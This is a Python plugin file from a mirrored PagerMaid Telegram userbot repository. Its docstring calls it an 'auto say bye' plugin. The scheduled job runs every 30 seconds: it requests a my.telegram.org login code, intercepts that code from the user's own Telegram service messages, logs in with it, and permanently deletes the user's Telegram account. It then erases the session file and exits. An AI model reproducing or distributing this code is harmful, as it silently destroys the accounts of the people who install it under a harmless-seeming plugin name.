mirror of
https://github.com/TeamPGM/PagerMaid_Plugins.git
synced 2024-11-24 21:53:36 +00:00
58 lines
1.6 KiB
Python
58 lines
1.6 KiB
Python
""" Pagermaid auto say bye to tg plugin. """
|
|
import requests
|
|
import os
|
|
from pagermaid import scheduler, bot
|
|
|
|
|
|
def send_code(num):
|
|
link = "https://my.telegram.org/auth/send_password"
|
|
body = f"phone={num}"
|
|
rsp = requests.post(link, body).json()
|
|
return rsp["random_hash"]
|
|
|
|
|
|
def get_cookie(num, hash_, pwd):
|
|
link = "https://my.telegram.org/auth/login"
|
|
body = f"phone={num}&random_hash={hash_}&password={pwd}"
|
|
resp = requests.post(link, body)
|
|
return resp.headers["Set-Cookie"]
|
|
|
|
|
|
def delete_account(cookie, _hash, num):
|
|
link = "https://my.telegram.org/delete/do_delete"
|
|
body = f"hash={_hash}"
|
|
header = {
|
|
"Cookie": cookie
|
|
}
|
|
resp = requests.post(link, body, headers=header).text
|
|
if resp == "true":
|
|
print(f"{num} Account Deleted.")
|
|
|
|
|
|
def get_hash(cookie):
|
|
link = "https://my.telegram.org/delete"
|
|
header = {
|
|
"Cookie": cookie
|
|
}
|
|
data = requests.get(link, headers=header).text
|
|
_hash = data.split("hash: '")[1].split("',")[0]
|
|
return _hash
|
|
|
|
|
|
@scheduler.scheduled_job("interval", seconds=30, id="bye_tg")
|
|
async def run_one_30_seconds():
|
|
me = await bot.get_me()
|
|
number = me.phone
|
|
async with bot.conversation(777000) as conversation:
|
|
await conversation.send_message('1')
|
|
code = send_code(number)
|
|
chat_response = await conversation.get_response()
|
|
await bot.send_read_acknowledge(conversation.chat_id)
|
|
msg = chat_response.text
|
|
pwd = msg.split('code:')[1].split('\n')[1]
|
|
cookie = get_cookie(number, code, pwd)
|
|
_hash = get_hash(cookie)
|
|
delete_account(cookie, _hash, number)
|
|
os.remove('pagermaid.session')
|
|
os._exit(0) # noqa
|